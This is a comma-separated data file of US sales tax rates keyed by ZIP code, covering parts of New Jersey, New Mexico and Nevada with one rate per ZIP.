US-NJ-08625,US,NJ,08625,7,,,, US-NJ-08628,US,NJ,08628,7,,,, US-NJ-08629,US,NJ,08629,7,,,, US-NJ-08638,US,NJ,08638,7,,,, US-NJ-08640,US,NJ,08640,7,,,, US-NJ-08641,US,NJ,08641,7,,,, US-NJ-08645,US,NJ,08645,7,,,, US-NJ-08646,US,NJ,08646,7,,,, US-NJ-08647,US,NJ,08647,7,,,, US-NJ-08648,US,NJ,08648,7,,,, US-NJ-08650,US,NJ,08650,7,,,, US-NJ-08666,US,NJ,08666,7,,,, US-NJ-08690,US,NJ,08690,7,,,, US-NJ-08691,US,NJ,08691,7,,,, US-NJ-08695,US,NJ,08695,7,,,, US-NJ-08701,US,NJ,08701,7,,,, US-NJ-08720,US,NJ,08720,7,,,, US-NJ-08721,US,NJ,08721,7,,,, US-NJ-08722,US,NJ,08722,7,,,, US-NJ-08723,US,NJ,08723,7,,,, US-NJ-08724,US,NJ,08724,7,,,, US-NJ-08730,US,NJ,08730,7,,,, US-NJ-08731,US,NJ,08731,7,,,, US-NJ-08732,US,NJ,08732,7,,,, US-NJ-08733,US,NJ,08733,7,,,, US-NJ-08734,US,NJ,08734,7,,,, US-NJ-08735,US,NJ,08735,7,,,, US-NJ-08736,US,NJ,08736,7,,,, US-NJ-08738,US,NJ,08738,7,,,, US-NJ-08739,US,NJ,08739,7,,,, US-NJ-08740,US,NJ,08740,7,,,, US-NJ-08741,US,NJ,08741,7,,,, US-NJ-08742,US,NJ,08742,7,,,, US-NJ-08750,US,NJ,08750,7,,,, US-NJ-08751,US,NJ,08751,7,,,, US-NJ-08752,US,NJ,08752,7,,,, US-NJ-08753,US,NJ,08753,7,,,, US-NJ-08754,US,NJ,08754,7,,,, US-NJ-08755,US,NJ,08755,7,,,, US-NJ-08756,US,NJ,08756,7,,,, US-NJ-08757,US,NJ,08757,7,,,, US-NJ-08758,US,NJ,08758,7,,,, US-NJ-08759,US,NJ,08759,7,,,, US-NJ-08801,US,NJ,08801,7,,,, US-NJ-08802,US,NJ,08802,7,,,, US-NJ-08803,US,NJ,08803,7,,,, US-NJ-08804,US,NJ,08804,7,,,, US-NJ-08805,US,NJ,08805,7,,,, US-NJ-08807,US,NJ,08807,7,,,, US-NJ-08808,US,NJ,08808,7,,,, US-NJ-08809,US,NJ,08809,7,,,, US-NJ-08810,US,NJ,08810,7,,,, US-NJ-08812,US,NJ,08812,7,,,, US-NJ-08816,US,NJ,08816,7,,,, US-NJ-08817,US,NJ,08817,7,,,, US-NJ-08818,US,NJ,08818,7,,,, US-NJ-08820,US,NJ,08820,7,,,, US-NJ-08821,US,NJ,08821,7,,,, US-NJ-08822,US,NJ,08822,7,,,, US-NJ-08823,US,NJ,08823,7,,,, US-NJ-08824,US,NJ,08824,7,,,, US-NJ-08825,US,NJ,08825,7,,,, US-NJ-08826,US,NJ,08826,7,,,, US-NJ-08827,US,NJ,08827,7,,,, US-NJ-08828,US,NJ,08828,7,,,, US-NJ-08829,US,NJ,08829,7,,,, US-NJ-08830,US,NJ,08830,7,,,, US-NJ-08831,US,NJ,08831,7,,,, US-NJ-08832,US,NJ,08832,7,,,, US-NJ-08833,US,NJ,08833,7,,,, US-NJ-08834,US,NJ,08834,7,,,, US-NJ-08835,US,NJ,08835,7,,,, US-NJ-08836,US,NJ,08836,7,,,, US-NJ-08837,US,NJ,08837,7,,,, US-NJ-08840,US,NJ,08840,7,,,, US-NJ-08844,US,NJ,08844,7,,,, US-NJ-08846,US,NJ,08846,7,,,, US-NJ-08848,US,NJ,08848,7,,,, US-NJ-08850,US,NJ,08850,7,,,, US-NJ-08852,US,NJ,08852,7,,,, US-NJ-08853,US,NJ,08853,7,,,, US-NJ-08854,US,NJ,08854,7,,,, US-NJ-08855,US,NJ,08855,7,,,, US-NJ-08857,US,NJ,08857,7,,,, US-NJ-08858,US,NJ,08858,7,,,, US-NJ-08859,US,NJ,08859,7,,,, US-NJ-08861,US,NJ,08861,7,,,, US-NJ-08862,US,NJ,08862,7,,,, US-NJ-08863,US,NJ,08863,7,,,, US-NJ-08865,US,NJ,08865,7,,,, US-NJ-08867,US,NJ,08867,7,,,, US-NJ-08868,US,NJ,08868,7,,,, US-NJ-08869,US,NJ,08869,7,,,, US-NJ-08870,US,NJ,08870,7,,,, US-NJ-08871,US,NJ,08871,7,,,, US-NJ-08872,US,NJ,08872,7,,,, US-NJ-08873,US,NJ,08873,7,,,, US-NJ-08875,US,NJ,08875,7,,,, US-NJ-08876,US,NJ,08876,7,,,, US-NJ-08879,US,NJ,08879,7,,,, US-NJ-08880,US,NJ,08880,7,,,, US-NJ-08882,US,NJ,08882,7,,,, US-NJ-08884,US,NJ,08884,7,,,, US-NJ-08885,US,NJ,08885,7,,,, US-NJ-08886,US,NJ,08886,7,,,, US-NJ-08887,US,NJ,08887,7,,,, US-NJ-08888,US,NJ,08888,7,,,, US-NJ-08889,US,NJ,08889,7,,,, US-NJ-08890,US,NJ,08890,7,,,, US-NJ-08899,US,NJ,08899,7,,,, US-NJ-08901,US,NJ,08901,7,,,, US-NJ-08902,US,NJ,08902,7,,,, US-NJ-08903,US,NJ,08903,7,,,, US-NJ-08904,US,NJ,08904,7,,,, US-NJ-08906,US,NJ,08906,7,,,, US-NJ-08933,US,NJ,08933,7,,,, US-NJ-08989,US,NJ,08989,7,,,, US-NM-87001,US,NM,87001,6.25,,,, US-NM-87002,US,NM,87002,6.375,,,, US-NM-87004,US,NM,87004,7.0625,,,, US-NM-87005,US,NM,87005,6.6875,,,, US-NM-87006,US,NM,87006,6,,,, US-NM-87007,US,NM,87007,6.6875,,,, US-NM-87008,US,NM,87008,6.0625,,,, US-NM-87009,US,NM,87009,7.5625,,,, US-NM-87010,US,NM,87010,6.875,,,, US-NM-87011,US,NM,87011,6,,,, US-NM-87012,US,NM,87012,6.5,,,, US-NM-87013,US,NM,87013,7.8125,,,, US-NM-87014,US,NM,87014,6.6875,,,, US-NM-87015,US,NM,87015,6.875,,,, US-NM-87016,US,NM,87016,6.5,,,, US-NM-87017,US,NM,87017,6.5,,,, US-NM-87018,US,NM,87018,6.3125,,,, US-NM-87020,US,NM,87020,8,,,, US-NM-87021,US,NM,87021,8,,,, US-NM-87022,US,NM,87022,6.0625,,,, US-NM-87023,US,NM,87023,6.375,,,, US-NM-87024,US,NM,87024,6.25,,,, US-NM-87025,US,NM,87025,6.25,,,, US-NM-87026,US,NM,87026,6.375,,,, US-NM-87027,US,NM,87027,6.25,,,, US-NM-87028,US,NM,87028,6,,,, US-NM-87029,US,NM,87029,6.5,,,, US-NM-87031,US,NM,87031,6.375,,,, US-NM-87032,US,NM,87032,6.5,,,, US-NM-87034,US,NM,87034,6.6875,,,, US-NM-87035,US,NM,87035,6.5,,,, US-NM-87036,US,NM,87036,7.6875,,,, US-NM-87037,US,NM,87037,6.3125,,,, US-NM-87038,US,NM,87038,6.6875,,,, US-NM-87040,US,NM,87040,6.6875,,,, US-NM-87041,US,NM,87041,6.25,,,, US-NM-87042,US,NM,87042,7.4375,,,, US-NM-87043,US,NM,87043,6.25,,,, US-NM-87044,US,NM,87044,6.25,,,, US-NM-87045,US,NM,87045,6.75,,,, US-NM-87046,US,NM,87046,6.25,,,, US-NM-87047,US,NM,87047,6.0625,,,, US-NM-87048,US,NM,87048,7.1875,,,, US-NM-87049,US,NM,87049,6.6875,,,, US-NM-87051,US,NM,87051,6.6875,,,, US-NM-87052,US,NM,87052,6.25,,,, US-NM-87053,US,NM,87053,6.25,,,, US-NM-87056,US,NM,87056,6.875,,,, US-NM-87059,US,NM,87059,6.0625,,,, US-NM-87060,US,NM,87060,6.375,,,, US-NM-87061,US,NM,87061,6.5,,,, US-NM-87062,US,NM,87062,6,,,, US-NM-87063,US,NM,87063,7.5625,,,, US-NM-87064,US,NM,87064,6.5,,,, US-NM-87068,US,NM,87068,7.6875,,,, US-NM-87070,US,NM,87070,7.4375,,,, US-NM-87072,US,NM,87072,6.25,,,, US-NM-87083,US,NM,87083,6.25,,,, US-NM-87101,US,NM,87101,7,,,, US-NM-87102,US,NM,87102,7,,,, US-NM-87103,US,NM,87103,7,,,, US-NM-87104,US,NM,87104,7,,,, US-NM-87105,US,NM,87105,6.0625,,,, US-NM-87106,US,NM,87106,7,,,, US-NM-87107,US,NM,87107,7,,,, US-NM-87108,US,NM,87108,7,,,, US-NM-87109,US,NM,87109,7,,,, US-NM-87110,US,NM,87110,7,,,, US-NM-87111,US,NM,87111,7,,,, US-NM-87112,US,NM,87112,7,,,, US-NM-87113,US,NM,87113,7,,,, US-NM-87114,US,NM,87114,7,,,, US-NM-87115,US,NM,87115,6.0625,,,, US-NM-87116,US,NM,87116,6.0625,,,, US-NM-87117,US,NM,87117,6.0625,,,, US-NM-87119,US,NM,87119,7,,,, US-NM-87120,US,NM,87120,7,,,, US-NM-87121,US,NM,87121,7,,,, US-NM-87122,US,NM,87122,6.0625,,,, US-NM-87123,US,NM,87123,7,,,, US-NM-87124,US,NM,87124,7.4375,,,, US-NM-87125,US,NM,87125,7,,,, US-NM-87131,US,NM,87131,7,,,, US-NM-87144,US,NM,87144,7.4375,,,, US-NM-87151,US,NM,87151,7,,,, US-NM-87153,US,NM,87153,7,,,, US-NM-87154,US,NM,87154,7,,,, US-NM-87158,US,NM,87158,7,,,, US-NM-87174,US,NM,87174,7.4375,,,, US-NM-87176,US,NM,87176,7,,,, US-NM-87181,US,NM,87181,7,,,, US-NM-87184,US,NM,87184,6.0625,,,, US-NM-87185,US,NM,87185,6.0625,,,, US-NM-87187,US,NM,87187,7,,,, US-NM-87190,US,NM,87190,7,,,, US-NM-87191,US,NM,87191,7,,,, US-NM-87192,US,NM,87192,7,,,, US-NM-87193,US,NM,87193,7,,,, US-NM-87194,US,NM,87194,7,,,, US-NM-87195,US,NM,87195,6.0625,,,, US-NM-87196,US,NM,87196,7,,,, US-NM-87197,US,NM,87197,7,,,, US-NM-87198,US,NM,87198,7,,,, US-NM-87199,US,NM,87199,7,,,, US-NM-87301,US,NM,87301,8.3125,,,, US-NM-87302,US,NM,87302,8.3125,,,, US-NM-87305,US,NM,87305,8.3125,,,, US-NM-87310,US,NM,87310,6.75,,,, US-NM-87311,US,NM,87311,6.75,,,, US-NM-87312,US,NM,87312,6.75,,,, US-NM-87313,US,NM,87313,6.75,,,, US-NM-87315,US,NM,87315,6.6875,,,, US-NM-87316,US,NM,87316,6.75,,,, US-NM-87317,US,NM,87317,8.3125,,,, US-NM-87319,US,NM,87319,8.3125,,,, US-NM-87320,US,NM,87320,6.75,,,, US-NM-87321,US,NM,87321,6.75,,,, US-NM-87322,US,NM,87322,6.75,,,, US-NM-87323,US,NM,87323,6.75,,,, US-NM-87325,US,NM,87325,6.75,,,, US-NM-87326,US,NM,87326,8.3125,,,, US-NM-87327,US,NM,87327,6.75,,,, US-NM-87347,US,NM,87347,6.75,,,, US-NM-87357,US,NM,87357,6.75,,,, US-NM-87365,US,NM,87365,6.75,,,, US-NM-87375,US,NM,87375,8.3125,,,, US-NM-87401,US,NM,87401,7.125,,,, US-NM-87402,US,NM,87402,7.125,,,, US-NM-87410,US,NM,87410,7.75,,,, US-NM-87412,US,NM,87412,6.3125,,,, US-NM-87413,US,NM,87413,7.6875,,,, US-NM-87415,US,NM,87415,6.3125,,,, US-NM-87416,US,NM,87416,6.3125,,,, US-NM-87417,US,NM,87417,6.3125,,,, US-NM-87418,US,NM,87418,6.3125,,,, US-NM-87419,US,NM,87419,6.3125,,,, US-NM-87420,US,NM,87420,6.3125,,,, US-NM-87421,US,NM,87421,6.3125,,,, US-NM-87455,US,NM,87455,6.3125,,,, US-NM-87461,US,NM,87461,6.3125,,,, US-NM-87499,US,NM,87499,7.125,,,, US-NM-87501,US,NM,87501,8.1875,,,, US-NM-87502,US,NM,87502,8.1875,,,, US-NM-87503,US,NM,87503,8.1875,,,, US-NM-87504,US,NM,87504,8.1875,,,, US-NM-87505,US,NM,87505,8.1875,,,, US-NM-87506,US,NM,87506,6.875,,,, US-NM-87507,US,NM,87507,8.1875,,,, US-NM-87508,US,NM,87508,6.875,,,, US-NM-87509,US,NM,87509,8.1875,,,, US-NM-87510,US,NM,87510,6.5,,,, US-NM-87511,US,NM,87511,6.5,,,, US-NM-87512,US,NM,87512,7.125,,,, US-NM-87513,US,NM,87513,7.125,,,, US-NM-87514,US,NM,87514,7.125,,,, US-NM-87515,US,NM,87515,6.5,,,, US-NM-87516,US,NM,87516,6.5,,,, US-NM-87517,US,NM,87517,7.125,,,, US-NM-87518,US,NM,87518,6.5,,,, US-NM-87519,US,NM,87519,7.125,,,, US-NM-87520,US,NM,87520,8.1875,,,, US-NM-87521,US,NM,87521,7.125,,,, US-NM-87522,US,NM,87522,6.5,,,, US-NM-87523,US,NM,87523,6.5,,,, US-NM-87524,US,NM,87524,7.125,,,, US-NM-87525,US,NM,87525,8.1875,,,, US-NM-87527,US,NM,87527,6.5,,,, US-NM-87528,US,NM,87528,6.5,,,, US-NM-87529,US,NM,87529,7.125,,,, US-NM-87530,US,NM,87530,6.5,,,, US-NM-87531,US,NM,87531,6.5,,,, US-NM-87532,US,NM,87532,8.1875,,,, US-NM-87533,US,NM,87533,8.1875,,,, US-NM-87535,US,NM,87535,6.875,,,, US-NM-87537,US,NM,87537,6.5,,,, US-NM-87538,US,NM,87538,6.5,,,, US-NM-87539,US,NM,87539,6.5,,,, US-NM-87540,US,NM,87540,6.875,,,, US-NM-87543,US,NM,87543,7.125,,,, US-NM-87544,US,NM,87544,7.3125,,,, US-NM-87545,US,NM,87545,7.3125,,,, US-NM-87548,US,NM,87548,6.5,,,, US-NM-87549,US,NM,87549,6.5,,,, US-NM-87551,US,NM,87551,6.5,,,, US-NM-87552,US,NM,87552,6.5,,,, US-NM-87553,US,NM,87553,7.125,,,, US-NM-87554,US,NM,87554,6.5,,,, US-NM-87556,US,NM,87556,8.1875,,,, US-NM-87557,US,NM,87557,8.4375,,,, US-NM-87558,US,NM,87558,8.4375,,,, US-NM-87560,US,NM,87560,6.5,,,, US-NM-87562,US,NM,87562,6.5,,,, US-NM-87564,US,NM,87564,7.125,,,, US-NM-87565,US,NM,87565,6.5,,,, US-NM-87566,US,NM,87566,6.5,,,, US-NM-87567,US,NM,87567,8.1875,,,, US-NM-87569,US,NM,87569,6.5,,,, US-NM-87571,US,NM,87571,8.1875,,,, US-NM-87573,US,NM,87573,6.5,,,, US-NM-87574,US,NM,87574,6.875,,,, US-NM-87575,US,NM,87575,6.5,,,, US-NM-87576,US,NM,87576,7.125,,,, US-NM-87577,US,NM,87577,7.125,,,, US-NM-87578,US,NM,87578,6.5,,,, US-NM-87579,US,NM,87579,7.125,,,, US-NM-87580,US,NM,87580,7.125,,,, US-NM-87581,US,NM,87581,6.5,,,, US-NM-87582,US,NM,87582,6.5,,,, US-NM-87583,US,NM,87583,6.5,,,, US-NM-87592,US,NM,87592,8.1875,,,, US-NM-87594,US,NM,87594,8.1875,,,, US-NM-87701,US,NM,87701,8.0625,,,, US-NM-87710,US,NM,87710,7.4375,,,, US-NM-87711,US,NM,87711,6.4375,,,, US-NM-87712,US,NM,87712,6.1875,,,, US-NM-87713,US,NM,87713,6.1875,,,, US-NM-87714,US,NM,87714,6.8125,,,, US-NM-87715,US,NM,87715,6.1875,,,, US-NM-87718,US,NM,87718,7.1875,,,, US-NM-87722,US,NM,87722,6.1875,,,, US-NM-87723,US,NM,87723,6.1875,,,, US-NM-87724,US,NM,87724,6.4375,,,, US-NM-87728,US,NM,87728,5.75,,,, US-NM-87729,US,NM,87729,5.75,,,, US-NM-87730,US,NM,87730,5.75,,,, US-NM-87731,US,NM,87731,6.5,,,, US-NM-87732,US,NM,87732,6.1875,,,, US-NM-87733,US,NM,87733,5.75,,,, US-NM-87734,US,NM,87734,6.1875,,,, US-NM-87735,US,NM,87735,6.1875,,,, US-NM-87736,US,NM,87736,6.1875,,,, US-NM-87740,US,NM,87740,7.9375,,,, US-NM-87742,US,NM,87742,6.5,,,, US-NM-87743,US,NM,87743,5.75,,,, US-NM-87745,US,NM,87745,6.5,,,, US-NM-87746,US,NM,87746,5.75,,,, US-NM-87747,US,NM,87747,6.8125,,,, US-NM-87749,US,NM,87749,5.75,,,, US-NM-87752,US,NM,87752,7.1875,,,, US-NM-87753,US,NM,87753,6.1875,,,, US-NM-87801,US,NM,87801,7.0625,,,, US-NM-87820,US,NM,87820,5.625,,,, US-NM-87821,US,NM,87821,5.625,,,, US-NM-87823,US,NM,87823,6,,,, US-NM-87824,US,NM,87824,5.625,,,, US-NM-87825,US,NM,87825,6.9375,,,, US-NM-87827,US,NM,87827,5.625,,,, US-NM-87828,US,NM,87828,6,,,, US-NM-87829,US,NM,87829,5.625,,,, US-NM-87830,US,NM,87830,5.625,,,, US-NM-87831,US,NM,87831,6,,,, US-NM-87832,US,NM,87832,6,,,, US-NM-87901,US,NM,87901,7.875,,,, US-NM-87930,US,NM,87930,6.3125,,,, US-NM-87931,US,NM,87931,6.3125,,,, US-NM-87933,US,NM,87933,6.3125,,,, US-NM-87935,US,NM,87935,7.5625,,,, US-NM-87936,US,NM,87936,6.375,,,, US-NM-87937,US,NM,87937,7.4375,,,, US-NM-87939,US,NM,87939,6.3125,,,, US-NM-87940,US,NM,87940,6.375,,,, US-NM-87941,US,NM,87941,6.375,,,, US-NM-87942,US,NM,87942,7.5625,,,, US-NM-87943,US,NM,87943,6.3125,,,, US-NM-88001,US,NM,88001,7.5625,,,, US-NM-88002,US,NM,88002,6.375,,,, US-NM-88003,US,NM,88003,6.375,,,, US-NM-88004,US,NM,88004,7.5625,,,, US-NM-88005,US,NM,88005,7.5625,,,, US-NM-88006,US,NM,88006,7.5625,,,, US-NM-88007,US,NM,88007,6.375,,,, US-NM-88008,US,NM,88008,6.375,,,, US-NM-88009,US,NM,88009,7.25,,,, US-NM-88011,US,NM,88011,7.5625,,,, US-NM-88012,US,NM,88012,7.5625,,,, US-NM-88013,US,NM,88013,7.5625,,,, US-NM-88020,US,NM,88020,5.9375,,,, US-NM-88021,US,NM,88021,6.375,,,, US-NM-88022,US,NM,88022,6.1875,,,, US-NM-88023,US,NM,88023,7.25,,,, US-NM-88024,US,NM,88024,7.5625,,,, US-NM-88025,US,NM,88025,6.1875,,,, US-NM-88026,US,NM,88026,7.25,,,, US-NM-88027,US,NM,88027,6.375,,,, US-NM-88028,US,NM,88028,6.1875,,,, US-NM-88029,US,NM,88029,7.5625,,,, US-NM-88030,US,NM,88030,6.5,,,, US-NM-88031,US,NM,88031,7.5,,,, US-NM-88032,US,NM,88032,6.375,,,, US-NM-88033,US,NM,88033,6.375,,,, US-NM-88034,US,NM,88034,6.1875,,,, US-NM-88036,US,NM,88036,7.375,,,, US-NM-88038,US,NM,88038,6.1875,,,, US-NM-88039,US,NM,88039,5.625,,,, US-NM-88040,US,NM,88040,6.1875,,,, US-NM-88041,US,NM,88041,6.1875,,,, US-NM-88042,US,NM,88042,6.3125,,,, US-NM-88043,US,NM,88043,7.25,,,, US-NM-88044,US,NM,88044,6.375,,,, US-NM-88045,US,NM,88045,7.25,,,, US-NM-88046,US,NM,88046,7.8125,,,, US-NM-88047,US,NM,88047,6.375,,,, US-NM-88048,US,NM,88048,6.375,,,, US-NM-88049,US,NM,88049,6.1875,,,, US-NM-88051,US,NM,88051,6.1875,,,, US-NM-88052,US,NM,88052,6.375,,,, US-NM-88053,US,NM,88053,7.375,,,, US-NM-88054,US,NM,88054,6.375,,,, US-NM-88055,US,NM,88055,7.25,,,, US-NM-88056,US,NM,88056,5.9375,,,, US-NM-88058,US,NM,88058,6.375,,,, US-NM-88061,US,NM,88061,7.375,,,, US-NM-88062,US,NM,88062,7.375,,,, US-NM-88063,US,NM,88063,7.6875,,,, US-NM-88065,US,NM,88065,6.1875,,,, US-NM-88072,US,NM,88072,6.375,,,, US-NM-88081,US,NM,88081,6.375,,,, US-NM-88101,US,NM,88101,7.8125,,,, US-NM-88102,US,NM,88102,7.8125,,,, US-NM-88103,US,NM,88103,5.875,,,, US-NM-88112,US,NM,88112,5.875,,,, US-NM-88113,US,NM,88113,6.6875,,,, US-NM-88114,US,NM,88114,5.5,,,, US-NM-88115,US,NM,88115,6.9375,,,, US-NM-88116,US,NM,88116,6.1875,,,, US-NM-88118,US,NM,88118,6.1875,,,, US-NM-88119,US,NM,88119,6.3125,,,, US-NM-88120,US,NM,88120,5.875,,,, US-NM-88121,US,NM,88121,6.4375,,,, US-NM-88122,US,NM,88122,7.5625,,,, US-NM-88123,US,NM,88123,6.1875,,,, US-NM-88124,US,NM,88124,7.5,,,, US-NM-88125,US,NM,88125,6.1875,,,, US-NM-88126,US,NM,88126,6.1875,,,, US-NM-88130,US,NM,88130,7.75,,,, US-NM-88132,US,NM,88132,6.1875,,,, US-NM-88133,US,NM,88133,5.875,,,, US-NM-88134,US,NM,88134,6.3125,,,, US-NM-88135,US,NM,88135,5.875,,,, US-NM-88136,US,NM,88136,6.3125,,,, US-NM-88201,US,NM,88201,7.125,,,, US-NM-88202,US,NM,88202,7.125,,,, US-NM-88203,US,NM,88203,7.125,,,, US-NM-88210,US,NM,88210,7.4375,,,, US-NM-88211,US,NM,88211,7.4375,,,, US-NM-88213,US,NM,88213,5.5,,,, US-NM-88220,US,NM,88220,7.4375,,,, US-NM-88221,US,NM,88221,7.4375,,,, US-NM-88230,US,NM,88230,6.0625,,,, US-NM-88231,US,NM,88231,6.8125,,,, US-NM-88232,US,NM,88232,7.125,,,, US-NM-88240,US,NM,88240,6.8125,,,, US-NM-88241,US,NM,88241,6.8125,,,, US-NM-88242,US,NM,88242,5.5,,,, US-NM-88244,US,NM,88244,6.8125,,,, US-NM-88250,US,NM,88250,6.625,,,, US-NM-88252,US,NM,88252,7.0625,,,, US-NM-88253,US,NM,88253,5.75,,,, US-NM-88254,US,NM,88254,5.75,,,, US-NM-88255,US,NM,88255,5.75,,,, US-NM-88256,US,NM,88256,5.75,,,, US-NM-88260,US,NM,88260,6.875,,,, US-NM-88262,US,NM,88262,6.875,,,, US-NM-88263,US,NM,88263,5.75,,,, US-NM-88264,US,NM,88264,5.5,,,, US-NM-88265,US,NM,88265,5.5,,,, US-NM-88267,US,NM,88267,5.5,,,, US-NM-88268,US,NM,88268,5.75,,,, US-NM-88301,US,NM,88301,5.6875,,,, US-NM-88310,US,NM,88310,7.625,,,, US-NM-88311,US,NM,88311,7.625,,,, US-NM-88312,US,NM,88312,5.6875,,,, US-NM-88314,US,NM,88314,5.9375,,,, US-NM-88316,US,NM,88316,7,,,, US-NM-88317,US,NM,88317,5.9375,,,, US-NM-88318,US,NM,88318,7.125,,,, US-NM-88321,US,NM,88321,7.0625,,,, US-NM-88323,US,NM,88323,5.6875,,,, US-NM-88324,US,NM,88324,5.6875,,,, US-NM-88325,US,NM,88325,5.9375,,,, US-NM-88330,US,NM,88330,5.9375,,,, US-NM-88336,US,NM,88336,5.6875,,,, US-NM-88337,US,NM,88337,5.9375,,,, US-NM-88338,US,NM,88338,5.6875,,,, US-NM-88339,US,NM,88339,5.9375,,,, US-NM-88340,US,NM,88340,5.9375,,,, US-NM-88341,US,NM,88341,5.6875,,,, US-NM-88342,US,NM,88342,5.9375,,,, US-NM-88343,US,NM,88343,5.6875,,,, US-NM-88344,US,NM,88344,6.0625,,,, US-NM-88345,US,NM,88345,8.625,,,, US-NM-88346,US,NM,88346,7.625,,,, US-NM-88347,US,NM,88347,5.9375,,,, US-NM-88348,US,NM,88348,5.6875,,,, US-NM-88349,US,NM,88349,5.9375,,,, US-NM-88350,US,NM,88350,7.375,,,, US-NM-88351,US,NM,88351,5.6875,,,, US-NM-88352,US,NM,88352,7.375,,,, US-NM-88353,US,NM,88353,7.5,,,, US-NM-88354,US,NM,88354,5.9375,,,, US-NM-88355,US,NM,88355,8.625,,,, US-NM-88401,US,NM,88401,8.125,,,, US-NM-88410,US,NM,88410,6.0625,,,, US-NM-88411,US,NM,88411,6.4375,,,, US-NM-88414,US,NM,88414,6.0625,,,, US-NM-88415,US,NM,88415,7.875,,,, US-NM-88416,US,NM,88416,8.125,,,, US-NM-88417,US,NM,88417,6.4375,,,, US-NM-88418,US,NM,88418,7.5,,,, US-NM-88419,US,NM,88419,6.0625,,,, US-NM-88421,US,NM,88421,6.5,,,, US-NM-88422,US,NM,88422,6.0625,,,, US-NM-88424,US,NM,88424,6.0625,,,, US-NM-88426,US,NM,88426,8.125,,,, US-NM-88427,US,NM,88427,6.4375,,,, US-NM-88430,US,NM,88430,6.4375,,,, US-NM-88431,US,NM,88431,6.4375,,,, US-NM-88434,US,NM,88434,6.4375,,,, US-NM-88435,US,NM,88435,8,,,, US-NM-88436,US,NM,88436,6.0625,,,, US-NM-88439,US,NM,88439,6.5,,,, US-NV-88901,US,NV,88901,8.1,,,, US-NV-88905,US,NV,88905,8.1,,,, US-NV-89001,US,NV,89001,7.1,,,, US-NV-89002,US,NV,89002,8.1,,,, US-NV-89003,US,NV,89003,7.1,,,, US-NV-89004,US,NV,89004,8.1,,,, US-NV-89005,US,NV,89005,8.1,,,, US-NV-89006,US,NV,89006,8.1,,,, US-NV-89007,US,NV,89007,8.1,,,, US-NV-89008,US,NV,89008,7.1,,,, US-NV-89009,US,NV,89009,8.1,,,, US-NV-89010,US,NV,89010,6.85,,,, US-NV-89011,US,NV,89011,8.1,,,, US-NV-89012,US,NV,89012,8.1,,,, US-NV-89013,US,NV,89013,6.85,,,, US-NV-89014,US,NV,89014,8.1,,,, US-NV-89015,US,NV,89015,8.1,,,, US-NV-89016,US,NV,89016,8.1,,,, US-NV-89017,US,NV,89017,7.1,,,, US-NV-89018,US,NV,89018,8.1,,,, US-NV-89019,US,NV,89019,8.1,,,, US-NV-89020,US,NV,89020,7.1,,,, US-NV-89021,US,NV,89021,8.1,,,, US-NV-89022,US,NV,89022,7.1,,,, US-NV-89023,US,NV,89023,7.1,,,, US-NV-89024,US,NV,89024,8.1,,,, US-NV-89025,US,NV,89025,8.1,,,, US-NV-89026,US,NV,89026,8.1,,,, US-NV-89027,US,NV,89027,8.1,,,, US-NV-89028,US,NV,89028,8.1,,,, US-NV-89029,US,NV,89029,8.1,,,, US-NV-89030,US,NV,89030,8.1,,,, US-NV-89031,US,NV,89031,8.1,,,, US-NV-89032,US,NV,89032,8.1,,,, US-NV-89033,US,NV,89033,8.1,,,, US-NV-89034,US,NV,89034,8.1,,,, US-NV-89036,US,NV,89036,8.1,,,, US-NV-89037,US,NV,89037,8.1,,,, US-NV-89039,US,NV,89039,8.1,,,, US-NV-89040,US,NV,89040,8.1,,,, US-NV-89041,US,NV,89041,7.1,,,, US-NV-89042,US,NV,89042,7.1,,,, US-NV-89043,US,NV,89043,7.1,,,, US-NV-89044,US,NV,89044,8.1,,,, US-NV-89045,US,NV,89045,7.1,,,, US-NV-89046,US,NV,89046,8.1,,,, US-NV-89047,US,NV,89047,6.85,,,, US-NV-89048,US,NV,89048,7.1,,,, US-NV-89049,US,NV,89049,7.1,,,, US-NV-89052,US,NV,89052,8.1,,,, US-NV-89053,US,NV,89053,8.1,,,, US-NV-89054,US,NV,89054,8.1,,,, US-NV-89060,US,NV,89060,7.1,,,, US-NV-89061,US,NV,89061,7.1,,,, US-NV-89067,US,NV,89067,8.1,,,, US-NV-89070,US,NV,89070,8.1,,,, US-NV-89074,US,NV,89074,8.1,,,, US-NV-89077,US,NV,89077,8.1,,,, US-NV-89081,US,NV,89081,8.1,,,, US-NV-89084,US,NV,89084,8.1,,,, US-NV-89085,US,NV,89085,8.1,,,, US-NV-89086,US,NV,89086,8.1,,,, US-NV-89087,US,NV,89087,8.1,,,, US-NV-89101,US,NV,89101,8.1,,,, US-NV-89102,US,NV,89102,8.1,,,, US-NV-89103,US,NV,89103,8.1,,,, US-NV-89104,US,NV,89104,8.1,,,, US-NV-89105,US,NV,89105,8.1,,,, US-NV-89106,US,NV,89106,8.1,,,, US-NV-89107,US,NV,89107,8.1,,,, US-NV-89108,US,NV,89108,8.1,,,, US-NV-89109,US,NV,89109,8.1,,,, US-NV-89110,US,NV,89110,8.1,,,, US-NV-89111,US,NV,89111,8.1,,,, US-NV-89112,US,NV,89112,8.1,,,, US-NV-89113,US,NV,89113,8.1,,,, US-NV-89114,US,NV,89114,8.1,,,, US-NV-89115,US,NV,89115,8.1,,,, US-NV-89116,US,NV,89116,8.1,,,, US-NV-89117,US,NV,89117,8.1,,,, US-NV-89118,US,NV,89118,8.1,,,, US-NV-89119,US,NV,89119,8.1,,,, US-NV-89120,US,NV,89120,8.1,,,, US-NV-89121,US,NV,89121,8.1,,,, US-NV-89122,US,NV,89122,8.1,,,, US-NV-89123,US,NV,89123,8.1,,,, US-NV-89124,US,NV,89124,8.1,,,, US-NV-89125,US,NV,89125,8.1,,,, US-NV-89126,US,NV,89126,8.1,,,, US-NV-89127,US,NV,89127,8.1,,,, US-NV-89128,US,NV,89128,8.1,,,, US-NV-89129,US,NV,89129,8.1,,,, US-NV-89130,US,NV,89130,8.1,,,, US-NV-89131,US,NV,89131,8.1,,,, US-NV-89132,US,NV,89132,8.1,,,, US-NV-89133,US,NV,89133,8.1,,,, US-NV-89134,US,NV,89134,8.1,,,, US-NV-89135,US,NV,89135,8.1,,,, US-NV-89136,US,NV,89136,8.1,,,, US-NV-89137,US,NV,89137,8.1,,,, US-NV-89138,US,NV,89138,8.1,,,, US-NV-89139,US,NV,89139,8.1,,,, US-NV-89140,US,NV,89140,8.1,,,, US-NV-89141,US,NV,89141,8.1,,,, US-NV-89142,US,NV,89142,8.1,,,, US-NV-89143,US,NV,89143,8.1,,,, US-NV-89144,US,NV,89144,8.1,,,, US-NV-89145,US,NV,89145,8.1,,,, US-NV-89146,US,NV,89146,8.1,,,, US-NV-89147,US,NV,89147,8.1,,,, 